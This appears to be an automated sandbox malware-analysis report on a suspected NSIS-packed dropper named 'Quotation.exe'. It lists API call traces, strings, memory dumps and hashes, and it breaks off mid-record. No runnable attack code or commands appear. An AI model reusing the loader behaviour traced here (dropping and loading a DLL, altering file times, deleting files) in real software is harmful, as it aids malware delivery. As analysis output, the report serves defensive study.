SetFileAttributesW.KERNELBASE(00000000,?,000000F0,?,?,00000000,00000000), ref: 004016FB
GetFileAttributesW.KERNELBASE(00000000,00000000,00000000,0000005C,00000000,000000F0,?,?,00000000,00000000), ref: 0040176A
SetCurrentDirectoryW.KERNELBASE(00000000,C:\Users\user\overlays\besvangredes\unnaturalism,00000000,000000E6,C:\Users\user\AppData\Local\Temp\nss582A.tmp\System.dll,00000000,000000F0,?,?,00000000,00000000), ref: 004017A3
MoveFileW.KERNEL32(00000000,00000000), ref: 004017EE
GetFullPathNameW.KERNEL32(00000000,00000400,00000000,?,00000000,000000E3,C:\Users\user\AppData\Local\Temp\nss582A.tmp\System.dll,?,?,00000000,00000000), ref: 00401843
GetShortPathNameW.KERNEL32(00000000,00000000,00000400), ref: 00401890
SearchPathW.KERNEL32(00000000,00000000,00000000,00000400,00000000,?,000000FF,?,?,00000000,00000000), ref: 004018B0
lstrcatW.KERNEL32(00000000,00000000,Call,C:\Users\user\overlays\besvangredes\unnaturalism,00000000,00000000,00000031,00000000,00000000,000000EF,?,?,00000000,00000000), ref: 00401920
CompareFileTime.KERNEL32(-00000014,?,Call,Call,00000000,00000000,Call,C:\Users\user\overlays\besvangredes\unnaturalism,00000000,00000000,00000031,00000000,00000000,000000EF), ref: 00401948
SetFileTime.KERNELBASE(?,?,00000000,?,?,?,00000000,00000000,000000EA,?,Call,40000000,00000001,Call,00000000,00000000), ref: 00401A5A
CloseHandle.KERNELBASE(?,?,?,00000000,00000000), ref: 00401A61
lstrcatW.KERNEL32(Call,?,Call,000000E9,?,?,00000000,00000000), ref: 00401A82

Strings

C:\Users\user\overlays\besvangredes\unnaturalism, xrefs: 00401798, 0040190E
C:\Users\user\AppData\Local\Temp\nss582A.tmp, xrefs: 00401998, 004019BB
Call, xrefs: 004018FC, 00401906, 00401913, 00401925, 00401933, 00401968, 0040197C, 004019A2, 004019EA, 00401A7A, 00401A81, 00401A8B, 00401A96
C:\Users\user\AppData\Local\Temp\nss582A.tmp\System.dll, xrefs: 00401789, 004017F8, 00401823, 004019B1, 004019D2

Memory Dump Source

Source File: 00000000.00000002.1950641214.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1950628419.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950654842.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950669196.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950669196.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950669196.0000000000781000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950669196.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950669196.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950669196.00000000007A2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950669196.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950669196.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950669196.00000000007AD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950669196.00000000007B4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1952731849.00000000007DB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Quotation.jbxd

Similarity

API ID: File$PathWindow$AttributesNameShowTimelstrcat$CloseCompareCurrentDirectoryForegroundFullHandleMessageMovePostQuitSearchShortSleep
String ID: C:\Users\user\AppData\Local\Temp\nss582A.tmp$C:\Users\user\AppData\Local\Temp\nss582A.tmp\System.dll$C:\Users\user\overlays\besvangredes\unnaturalism$Call
API String ID: 3895412863-1929023778
Opcode ID: 907391b652bc81e351481e76b091bf194ed4adcc93ce6230dc48087d29c5e171
Instruction ID: f97e61f8377ab9e25a0dd965f2557d34b91b3991d6c9f65f1b163fc05bb86adc
Opcode Fuzzy Hash: 907391b652bc81e351481e76b091bf194ed4adcc93ce6230dc48087d29c5e171
Instruction Fuzzy Hash: 6AD1D571644301ABC710BF66CD85E2B76A8AF86758F10463FF452B22E1DB7CD8019A6F

Function 70022351 Relevance: 18.7, APIs: 12, Instructions: 705stringlibrarymemoryCOMMON

Download Yara Rule

APIs

Part of subcall function 700212F8: GlobalAlloc.KERNELBASE(00000040,?,700211C4,-000000A0), ref: 70021302

GlobalAlloc.KERNELBASE(00000040,00001CA4), ref: 7002294E
lstrcpyW.KERNEL32(00000008,?), ref: 700229A4
lstrcpyW.KERNEL32(00000808,?), ref: 700229AF
GlobalFree.KERNEL32(00000000), ref: 700229C0
GlobalFree.KERNEL32(?), ref: 70022A44
GlobalFree.KERNEL32(?), ref: 70022A4A
GlobalFree.KERNEL32(?), ref: 70022A50
GetModuleHandleW.KERNEL32(00000008), ref: 70022B1A
LoadLibraryW.KERNEL32(00000008), ref: 70022B2B
GetProcAddress.KERNEL32(?,?), ref: 70022B82
lstrlenW.KERNEL32(00000808), ref: 70022B9D

Memory Dump Source

Source File: 00000000.00000002.1996808927.0000000070021000.00000020.00000001.01000000.00000006.sdmp, Offset: 70020000, based on PE: true

Associated: 00000000.00000002.1996786623.0000000070020000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1996880927.0000000070024000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1996906021.0000000070026000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70020000_Quotation.jbxd

Similarity

API ID: Global$Free$Alloclstrcpy$AddressHandleLibraryLoadModuleProclstrlen
String ID:
API String ID: 1042148487-0
Opcode ID: 01a9cc7be63b2bf7b2f5ee67372f57986f880b10be9e15ed611c1b68974d87a2
Instruction ID: 2ba2e0282eae7e96d4a0a026fa72561c786d71a78ca349f4d4e9e090fa7addca
Opcode Fuzzy Hash: 01a9cc7be63b2bf7b2f5ee67372f57986f880b10be9e15ed611c1b68974d87a2
Instruction Fuzzy Hash: 5C42D471A08302AFD315CF74E44475EB7F6FF88B22F504A2EE49AD6254D770D9848B92

Function 004066F7 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 155
filestringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00406616: lstrlenW.KERNEL32(007A4288,00000000,007A4288,007A4288,?,?,?,00406719,?,00000000,76F93420,?), ref: 0040666A
Part of subcall function 00406616: GetFileAttributesW.KERNELBASE(007A4288,007A4288), ref: 0040667B

DeleteFileW.KERNELBASE(?,?,00000000,76F93420,?), ref: 00406723
lstrcatW.KERNEL32(007A3A88,\*.*,007A3A88,?,00000000,?,00000000,76F93420,?), ref: 00406775
lstrcatW.KERNEL32(?,004082B0,?,007A3A88,?,00000000,?,00000000,76F93420,?), ref: 00406796
lstrlenW.KERNEL32(?), ref: 00406799
FindFirstFileW.KERNEL32(007A3A88,?), ref: 004067B0
FindNextFileW.KERNEL32(00000000,?,000000F2,?,?,?,?,?), ref: 00406841
FindClose.KERNEL32(00000000), ref: 00406853

Strings

\*.*, xrefs: 0040676B

Memory Dump Source

Source File: 00000000.00000002.1950641214.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1950628419.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950654842.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950669196.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950669196.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950669196.0000000000781000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950669196.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950669196.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950669196.00000000007A2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950669196.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950669196.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950669196.00000000007AD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950669196.00000000007B4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1952731849.00000000007DB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Quotation.jbxd

Similarity

API ID: File$Find$lstrcatlstrlen$AttributesCloseDeleteFirstNext
String ID: \*.*
API String ID: 2636146433-1173974218
Opcode ID: e2e738021974a1aad663f4d73af15b9e2c0d72d7b607af8b3925b065a255c774
Instruction ID: 325cce783f2df783a7673d4e22b29853c472d97363b16a381ac5d63d2c539c61
Opcode Fuzzy Hash: e2e738021974a1aad663f4d73af15b9e2c0d72d7b607af8b3925b065a255c774
Instruction Fuzzy Hash: 2741373210631069D720BB658D05A6B72ACDF92318F16853FF893B21D1EB3C8965C6AF

Function 004065AD Relevance: 3.0, APIs: 2, Instructions: 14fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNELBASE(?,007A5E88,00000000,0040665A,007A4288), ref: 004065B8
FindClose.KERNEL32(00000000), ref: 004065C4

Memory Dump Source

Source File: 00000000.00000002.1950641214.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1950628419.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950654842.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950669196.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950669196.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950669196.0000000000781000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950669196.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950669196.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950669196.00000000007A2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950669196.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950669196.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950669196.00000000007AD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950669196.00000000007B4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1952731849.00000000007DB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Quotation.jbxd

Similarity

API ID: Find$CloseFileFirst
String ID:
API String ID: 2295610775-0
Opcode ID: a2d354ff7ed2319fbee56d8d140705e4a76cab61c7ff8bd1d53ab4a71d5363ca
Instruction ID: 54e165a9d952ab4a9c526d77f24574b80d9b4166436818e4e9d84c3548612847
Opcode Fuzzy Hash: a2d354ff7ed2319fbee56d8d140705e4a76cab61c7ff8bd1d53ab4a71d5363ca
Instruction Fuzzy Hash: A5D012315191607FC2501B387F0C84B7A599F65372B114B36B4A6F51E4DA348C628698

Function 00404F70 Relevance: 63.4, APIs: 35, Strings: 1, Instructions: 374
windowstringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000013), ref: 00404FAF
ShowWindow.USER32(?), ref: 00404FD9
GetWindowLongW.USER32(?,000000F0), ref: 00404FEA
ShowWindow.USER32(?,00000004), ref: 00405006
GetDlgItem.USER32(?,00000001), ref: 0040512D
GetDlgItem.USER32(?,00000002), ref: 00405137
SetClassLongW.USER32(?,000000F2,?), ref: 00405151
SendMessageW.USER32(0000040F,00000000,00000001,?), ref: 0040519F
GetDlgItem.USER32(?,00000003), ref: 0040524E
ShowWindow.USER32(00000000,?), ref: 00405277
KiUserCallbackDispatcher.NTDLL(?,?), ref: 0040528B
KiUserCallbackDispatcher.NTDLL(?), ref: 0040529F
EnableWindow.USER32(?), ref: 004052B7
GetSystemMenu.USER32(?,00000000,0000F060,00000001), ref: 004052CE
EnableMenuItem.USER32(00000000), ref: 004052D5
SendMessageW.USER32(?,000000F4,00000000,00000001), ref: 004052E6
SendMessageW.USER32(?,00000401,00000002,00000000), ref: 004052FD
lstrlenW.KERNEL32(Fingersprogs Setup: Installing,?,Fingersprogs Setup: Installing,00000000), ref: 0040532E

Part of subcall function 00405E98: lstrcatW.KERNEL32(Call,\Microsoft\Internet Explorer\Quick Launch,?,?,Skipped: C:\Users\user\AppData\Local\Temp\nss582A.tmp\System.dll,?,?,?), ref: 0040604E

SetWindowTextW.USER32(?,Fingersprogs Setup: Installing), ref: 00405346

Part of subcall function 00401399: MulDiv.KERNEL32(?,00007530,00000000), ref: 004013F9
Part of subcall function 00401399: SendMessageW.USER32(?,00000402,00000000), ref: 00401409

DestroyWindow.USER32(?,00000000), ref: 0040538E
CreateDialogParamW.USER32(?,?,-007A8560), ref: 004053C2

Part of subcall function 004054F8: SetDlgItemTextW.USER32(?,?,00000000), ref: 00405512

GetDlgItem.USER32(?,000003FA), ref: 004053EB
GetWindowRect.USER32(00000000), ref: 004053F2
ScreenToClient.USER32(?,?), ref: 004053FE
SetWindowPos.USER32(00000000,?,?,00000000,00000000,00000015), ref: 00405417
ShowWindow.USER32(00000008,?,00000000), ref: 00405436

Part of subcall function 004054C6: SendMessageW.USER32(?,00000000,00000000,00000000), ref: 004054D8

ShowWindow.USER32(?,0000000A), ref: 0040547C

Strings

Fingersprogs Setup: Installing, xrefs: 0040531C, 00405329, 00405340

Memory Dump Source

Source File: 00000000.00000002.1950641214.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1950628419.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950654842.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950669196.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950669196.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950669196.0000000000781000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950669196.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950669196.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950669196.00000000007A2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950669196.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950669196.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950669196.00000000007AD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950669196.00000000007B4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1952731849.00000000007DB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Quotation.jbxd

Similarity

API ID: Window$Item$MessageSendShow$CallbackDispatcherEnableLongMenuTextUser$ClassClientCreateDestroyDialogParamRectScreenSystemlstrcatlstrlen
String ID: Fingersprogs Setup: Installing
API String ID: 162979904-1250855830
Opcode ID: 72123b1cd148b1eb205aab3943036d4082e425be0be4f9ae0839b9c0fe245c6a
Instruction ID: 456415ec42eff5e8f6a9a9f0208e2dc106d0a6226250255d67da48920511729f
Opcode Fuzzy Hash: 72123b1cd148b1eb205aab3943036d4082e425be0be4f9ae0839b9c0fe245c6a
Instruction Fuzzy Hash: 38D1C071904B10ABDB20AF21EE44A6B7B68FB89355F00853EF545B21E1CA3D8851CFAD

Function 00405A1C Relevance: 44.0, APIs: 13, Strings: 12, Instructions: 225
stringregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 004068C4: GetModuleHandleA.KERNEL32(UXTHEME,Error writing temporary file. Make sure your temp folder is valid.,UXTHEME,004037EE,0000000B), ref: 004068D2
Part of subcall function 004068C4: GetProcAddress.KERNEL32(00000000), ref: 004068EE

lstrcatW.KERNEL32(1033,Fingersprogs Setup: Installing,80000001,Control Panel\Desktop\ResourceLocale,00000000,Fingersprogs Setup: Installing,00000000,00000002,00000000,76F93420,00000000,76F93170), ref: 00405A9F
lstrlenW.KERNEL32(Call,?,?,?,Call,00000000,007B3800,1033,Fingersprogs Setup: Installing,80000001,Control Panel\Desktop\ResourceLocale,00000000,Fingersprogs Setup: Installing,00000000,00000002,00000000), ref: 00405B23
lstrcmpiW.KERNEL32(-000000FC,.exe,Call,?,?,?,Call,00000000,007B3800,1033,Fingersprogs Setup: Installing,80000001,Control Panel\Desktop\ResourceLocale,00000000,Fingersprogs Setup: Installing,00000000), ref: 00405B38
GetFileAttributesW.KERNEL32(Call), ref: 00405B43
LoadImageW.USER32(00000067,?,00000000,00000000,00008040,007B3800), ref: 00405B8C

Part of subcall function 004065FD: wsprintfW.USER32 ref: 0040660A

RegisterClassW.USER32(007A74E0), ref: 00405BD1
SystemParametersInfoW.USER32(00000030,00000000,?,00000000), ref: 00405BE8
CreateWindowExW.USER32(00000080,_Nb,00000000,80000000,?,?,?,?,00000000,00000000,00000000), ref: 00405C1D
ShowWindow.USER32(00000005,00000000), ref: 00405C4F
GetClassInfoW.USER32(00000000,RichEdit20W,007A74E0), ref: 00405C7A
GetClassInfoW.USER32(00000000,RichEdit,007A74E0), ref: 00405C87
RegisterClassW.USER32(007A74E0), ref: 00405C94
DialogBoxParamW.USER32(?,00000000,00404F70,00000000), ref: 00405CAF

Strings

Control Panel\Desktop\ResourceLocale, xrefs: 00405A5C
RichEdit, xrefs: 00405C81
1033, xrefs: 00405A3F, 00405A63, 00405A9A
.DEFAULT\Control Panel\International, xrefs: 00405A8A
RichEd32, xrefs: 00405C63
_Nb, xrefs: 00405BB0, 00405C17
Call, xrefs: 00405AE4, 00405AED, 00405AFE, 00405B52, 00405B58
RichEd20, xrefs: 00405C55
Fingersprogs Setup: Installing, xrefs: 00405A4F, 00405A5A, 00405A7A, 00405A84, 00405A99
RichEdit20W, xrefs: 00405C74, 00405C8A
.exe, xrefs: 00405B32
tz, xrefs: 00405B94

Memory Dump Source

Source File: 00000000.00000002.1950641214.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1950628419.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950654842.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950669196.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950669196.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950669196.0000000000781000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950669196.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950669196.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950669196.00000000007A2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950669196.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950669196.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950669196.00000000007AD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950669196.00000000007B4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1952731849.00000000007DB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Quotation.jbxd

Similarity

API ID: Class$Info$RegisterWindow$AddressAttributesCreateDialogFileHandleImageLoadModuleParamParametersProcShowSystemlstrcatlstrcmpilstrlenwsprintf
String ID: .DEFAULT\Control Panel\International$.exe$1033$Call$Control Panel\Desktop\ResourceLocale$Fingersprogs Setup: Installing$RichEd20$RichEd32$RichEdit$RichEdit20W$_Nb$tz
API String ID: 1975747703-3579355919
Opcode ID: d8277d97e2f230740c86ea31856198af6673e632619b6bda425b05bf07e2b6f7
Instruction ID: 09b92c81f8f4ef2e2e9fd8d830fcc712f1cdd6db1c368b512ccdb95b409c048d
Opcode Fuzzy Hash: d8277d97e2f230740c86ea31856198af6673e632619b6bda425b05bf07e2b6f7
Instruction Fuzzy Hash: 31611370604604BEE7107B65AD42F2B366CEB46748F11813EF941B61E2EB3CA9108FAD

Function 004033CB Relevance: 22.9, APIs: 5, Strings: 8, Instructions: 178
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 004033DE
GetModuleFileNameW.KERNEL32(00000000,C:\Users\user\Desktop\Quotation.exe,00000400), ref: 004033FA

Part of subcall function 004068F9: GetFileAttributesW.KERNELBASE(?,0040340D,C:\Users\user\Desktop\Quotation.exe,80000000,00000003), ref: 004068FD
Part of subcall function 004068F9: CreateFileW.KERNELBASE(?,?,?,00000000,?,00000000,00000000), ref: 0040691D

GetFileSize.KERNEL32(00000000,00000000,007B7000,00000000,C:\Users\user\Desktop,C:\Users\user\Desktop,C:\Users\user\Desktop\Quotation.exe,C:\Users\user\Desktop\Quotation.exe,80000000,00000003), ref: 00403444
GlobalAlloc.KERNELBASE(00000040,?), ref: 0040359E

Strings

Error launching installer, xrefs: 0040341A
Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author , xrefs: 0040361E
Error writing temporary file. Make sure your temp folder is valid., xrefs: 004033D1
C:\Users\user\Desktop\Quotation.exe, xrefs: 004033E9, 004033F3, 00403407, 00403424
C:\Users\user\Desktop, xrefs: 00403425, 0040342A, 00403430
soft, xrefs: 004034C2
Inst, xrefs: 004034B8
Null, xrefs: 004034CC

Memory Dump Source

Source File: 00000000.00000002.1950641214.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1950628419.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950654842.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950669196.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950669196.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950669196.0000000000781000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950669196.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950669196.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950669196.00000000007A2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950669196.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950669196.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950669196.00000000007AD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950669196.00000000007B4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1952731849.00000000007DB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Quotation.jbxd

Similarity

API ID: File$AllocAttributesCountCreateGlobalModuleNameSizeTick
String ID: C:\Users\user\Desktop$C:\Users\user\Desktop\Quotation.exe$Error launching installer$Error writing temporary file. Make sure your temp folder is valid.$Inst$Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author $Null$soft
API String ID: 2803837635-2520809451
Opcode ID: 89db09ba3d9e86f9c075612005f46009679623d63feb2a5cce1b372a96914bed
Instruction ID: 8295773d5102a3db2c924d587f32f5b95c2827ef7f93a52122a4f4d2b553c90e
Opcode Fuzzy Hash: 89db09ba3d9e86f9c075612005f46009679623d63feb2a5cce1b372a96914bed
Instruction Fuzzy Hash: B951D371904300AFD720AF25DD81B1B7AA8BB8471AF10453FF955B62E1CB3D8E548B6E

Function 00405E98 Relevance: 19.5, APIs: 7, Strings: 4, Instructions: 209
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemDirectoryW.KERNEL32(Call,00000400), ref: 00405FC2

Part of subcall function 00406AF8: lstrcpynW.KERNEL32(?,?,00000400,0040384F,007A7540,NSIS Error), ref: 00406B05

Part of subcall function 00406D1B: CharNextW.USER32(?,*?|<>/":,00000000,Error writing temporary file. Make sure your temp folder is valid.,C:\Users\user\AppData\Local\Temp\,00000000,C:\Users\user\AppData\Local\Temp\,00403C8F,C:\Users\user\AppData\Local\Temp\,76F93420,004039A0), ref: 00406D90
Part of subcall function 00406D1B: CharNextW.USER32(?,?,?,00000000), ref: 00406D9F
Part of subcall function 00406D1B: CharNextW.USER32(?,Error writing temporary file. Make sure your temp folder is valid.,C:\Users\user\AppData\Local\Temp\,00000000,C:\Users\user\AppData\Local\Temp\,00403C8F,C:\Users\user\AppData\Local\Temp\,76F93420,004039A0), ref: 00406DA4
Part of subcall function 00406D1B: CharPrevW.USER32(?,?,Error writing temporary file. Make sure your temp folder is valid.,C:\Users\user\AppData\Local\Temp\,00000000,C:\Users\user\AppData\Local\Temp\,00403C8F,C:\Users\user\AppData\Local\Temp\,76F93420,004039A0), ref: 00406DBC

GetWindowsDirectoryW.KERNEL32(Call,00000400,Skipped: C:\Users\user\AppData\Local\Temp\nss582A.tmp\System.dll,?,?,?), ref: 00405FD5
lstrcatW.KERNEL32(Call,\Microsoft\Internet Explorer\Quick Launch,?,?,Skipped: C:\Users\user\AppData\Local\Temp\nss582A.tmp\System.dll,?,?,?), ref: 0040604E
lstrlenW.KERNEL32(Call,Skipped: C:\Users\user\AppData\Local\Temp\nss582A.tmp\System.dll,?,?,?), ref: 004060A8

Strings

Skipped: C:\Users\user\AppData\Local\Temp\nss582A.tmp\System.dll, xrefs: 00405EF3
\Microsoft\Internet Explorer\Quick Launch, xrefs: 00406048
Software\Microsoft\Windows\CurrentVersion, xrefs: 00405F8D
Call, xrefs: 00405EBA, 00405F88, 00405FAC, 00405FC1, 00405FD4, 00405FE7, 00406014, 0040604D, 00406054, 00406070, 00406083, 00406091, 004060A1, 004060A7, 004060CE, 004060EA

Memory Dump Source

Source File: 00000000.00000002.1950641214.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1950628419.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950654842.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950669196.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950669196.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950669196.0000000000781000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950669196.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950669196.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950669196.00000000007A2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950669196.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950669196.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950669196.00000000007AD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950669196.00000000007B4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1952731849.00000000007DB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Quotation.jbxd

Similarity

API ID: Char$Next$Directory$PrevSystemWindowslstrcatlstrcpynlstrlen
String ID: Call$Skipped: C:\Users\user\AppData\Local\Temp\nss582A.tmp\System.dll$Software\Microsoft\Windows\CurrentVersion$\Microsoft\Internet Explorer\Quick Launch
API String ID: 4187626192-2065450760
Opcode ID: 90908ed2b1fff3d7c45b9d6734c0443e5caff99512698a5aebad6b02f2870112
Instruction ID: e5fb9ae88836c379eadb94168964a2c41ebb3bf79b6cd8bfde1838e31315b013
Opcode Fuzzy Hash: 90908ed2b1fff3d7c45b9d6734c0443e5caff99512698a5aebad6b02f2870112
Instruction Fuzzy Hash: 0E6115716442159BDB24AB288C40A3B76A4EF99350F11853FF982F72D1EB3CC9258B5E

Function 00405D18 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 76
stringwindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

